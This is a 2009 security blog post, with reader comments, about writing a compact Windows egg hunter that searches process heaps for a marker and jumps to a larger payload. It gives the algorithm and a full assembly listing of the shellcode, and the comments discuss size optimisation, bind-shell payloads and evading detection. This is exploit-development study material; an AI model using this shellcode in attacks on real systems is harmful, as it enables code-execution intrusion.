Friday, March 13, 2009

[ Heap-only Egg Hunter ]

As Nate said in a recent blog post, it's often useful to reinvent the wheel, if only for one's own edification. Through attempting to write my own egg hunter I learned much more than I would have if I had simply plugged in skape's.

The exploit itself was very simple, but one of the issues we faced was reliability. The payload was being truncated when it was moved to the stack so we only had approximately 200 bytes to work with. However, the full payload was located in several different heaps throughout memory so this was a classic case for an egg hunter.

My idea was to write shellcode that would search only the heap for the full payload based on a lookout value which could also double as a sled. As I discovered, one of the important limiting factors in writing an egg hunter is the minimum size needed for a main payload (e.g. executing a command on the operating system). It's not very useful to have an egg hunter that is, for instance, 250 bytes. Kind of defeats the purpose. Mine ended up being 102 bytes, and I cheated a bit.

It does search the system heaps, but it also searches a bit more. Abstractly, here's how my egg hunter works:
  • Get address of TEB
  • Get address of PEB from TEB + 0x30
  • Get address of list of process heaps from PEB + 0x90
  • Get address of first heap
  • Add 0x100000 to heap address and push onto stack
  • Check if memory being pointed to is greater than heap base + 0x100000
    • If yes, start searching the next heap in the list
  • Check if memory being pointed to is accessible
  • Compare 4 bytes to lookout value
    • If equal check the next 4 bytes
      • If equal, jump there and slide into payload
      • If not equal increment the address being checked
    • If not equal increment the address being checked
The ideal way for this to have worked would have been to have it actually walk the heap lists, checking only the allocated memory segments. But, as mentioned above, there were size constraints.

By the way, I used skape's code for checking memory to see if it's accessible in my egg hunter. Worked beautifully.

In hex bytes:
$hunter =

In assembly:
jmp short 0x03
pop ecx
jmp short 0x05
call 0xf8
add ecx,0x0f
mov eax,0x30414141
shr eax,18
mov dword ptr[ecx],eax
mov eax,dword ptr fs[0x41414141]
add al,0x90
mov edi,dword ptr[eax]
xor ecx,ecx
mov ch,0x10
shl ecx,0x08
mov bh,0x03
mov bl,0xe8
jmp short 0x03
add edi,0x04
mov esi,dword ptr[edi]
add ecx,esi
push ecx
jmp short 0x02
add esi,ebx
cmp esi,dword ptr[esp]
jg short 0xef
mov edx,esi
push 0x02
pop eax
int 0x2e
cmp al,0x05
je short 0xee
cmp dword ptr[esi],0x4a424a42
jnz short 0xe6
cmp ebp,0x01
jnz short 0x02
jmp esi
add esi,0x04
xor ebp,ebp
inc ebp
jmp short 0xde

I'm sure this could probably be optimized and/or made to work more efficiently, but I am no assembly programmer.

edit: Another bit of code for my egg hunter that I got from elsewhere are the first 4 instructions. I took them from the Metasploit payloads. They are used to get the address where the

add ecx,0x0f

instruction resides on the stack as a reference point. The Metasploit payloads use these instructions to begin the process of decoding an encoded payload. A few instructions later I use my reference point to modify the

mov eax,dword ptr fs[0x41414141]

instruction in memory. I needed to do this in order to have the correct hex opcodes in memory to assemble into the following instruction:

mov eax,dword ptr fs[0x18]

That instruction assembles as \x64\xa1\x18\x00\x00\x00 which is obviously no good in a payload brought into the program as a string. The purpose of that instruction is to get the address of the TEB and put it into eax, which I then use an offset of to get the address of the PEB.

edit 2: I've modified the shellcode and assembly to reflect a change suggested by Jordan in the comments below and another small change I noticed would decrease the size of the shellcode. It's now < 100 bytes (97 bytes).

Labels: , , , , , ,


At 5:27 PM, Blogger Nate McFeters said...

Well played... like I said, in a pinch it was useful. No internet connection equals no happy skape payload for Nate equals make Rob make me a payload hunter :).

As you said, it was fun, if only for the educational aspect.

At 2:26 PM, Blogger Jordan said...

Nice writeup -- totally agree with doing things your self being worthwhile and educational.

One point though -- why the fs[0x18] step? I've never been able to figure that out. In fact, I twittered the exact question recently. Microsoft's compiler does it too (see isDebuggerPresent, for example), but it seems unnecessary since fs:0x18 points right back to fs:0. Might as well just do:

mov eax,dword ptr fs[0x30]

(using the same sort of fixup as before)

And then you can skip the:

mov eax,dword ptr[eax+0x30]

Instruction entirely.

Or is there another reason that everybody does it the long way?

At 3:10 PM, Blogger Rob said...

There appears to be no reason why

mov eax,dword ptr fs[0x30]

can't be used to directly get the address of the PEB. Thanks for the suggestion! I've modified the blog post to reflect that and one other change. All in all they saved me 5 bytes. Total shellcode size = 97 bytes.

At 7:58 AM, Anonymous Anonymous said...

" we only had approximately 200 bytes to work with." *ONLY* 200 BYTES!? Are you kidding me!? An egghunter in this case is a moot point. There are tons of win32 shellcodes that are under 200 bytes. Here is a link to one done in 111 bytes: Practically speaking, shellcode design has been perfected to the point where egghunters are arguably useless today. On linux, you can rm -rf someone in 45 bytes and get a remote shell in less than 100 bytes. Egghunters: novel, but useless. That is, unless you just want to write an egghunter for the sake of a blog post.


At 9:12 AM, Blogger Rob said...


First, I should have been more clear. I had 200 non-contiguous bytes of usable shellcode space for my payload on the stack. After modifying register values so AV's would not occur before the ret, there was just a little over 100 bytes in which to put some shellcode.

Second, another thing I should have mentioned, but could have been inferred from the assembly, this was a Windows platform and as such the shellcode tends to take up a bit more room.

Third, as I'm sure you know there can be certain limitations when writing exploits which prevent the use of standard(smaller) payloads. In this case I was forced to use an alpha-numeric payload which was > 500 bytes.

So, egg hunters in general are not useless and "it's often useful to reinvent the wheel, if only for one's own edification".

At 10:31 AM, Anonymous Anonymous said...


Given that as you say in this example, you are forced to use an alpha-numeric payload over 500 bytes, I would like you to explain to me why the egghunting code contains non-printable opcodes. If your injection vector accepts ASCII-only and your shellcode must be alpha-numeric, doesn't that preclude the use of this egghunter? Furthermore, even if you did encode the egghunter, wouldn't that make it much bigger, defeating the whole purpose?


At 10:46 AM, Blogger Rob said...

Good point. I was thinking about another exploit I was working on. In truth I ended up using an alpha-numeric payload in this exploit out of laziness. I was getting some AV's in my bind-shell payload because something was getting corrupted and I didn't take the time to figure out why.

I guess my point is, why be limited on what your exploit can do by the size of the payload on the stack? I admit it's a great intellectual exercise to see what you can do with the space you have, but I disagree with the absolutist claim that universally egg hunters are useless.

At 11:14 AM, Blogger Rob said...

Would you say that egg hunters are useless for all classes of memory corruption exploits?

I'm just sitting here doing some thought experiments, trying to think of cases where an egg hunter would be useful. I think they are useful on edge cases where you *barely* have enough space for a small one like skape's, or you don't want to limit the functionality of the exploit or you need to obfuscate the payload in order to bypass detection mechanisms that might be in place.

A large part of it is intent. If you want a PoC all you really have to do is show that execution gets back to the stack and can run at least one instruction from there. If you want everything plus the kitchen sink or you need to be stealthy an egg hunter would be useful.

At 1:44 AM, Blogger r0ut3r said...

"If you want everything plus the kitchen sink" <-- lol nice analogy.
Recently i was thinking of doing the same thing for an educational experience, writing my own egghunter.


Links to this post:

Create a Link

<< Home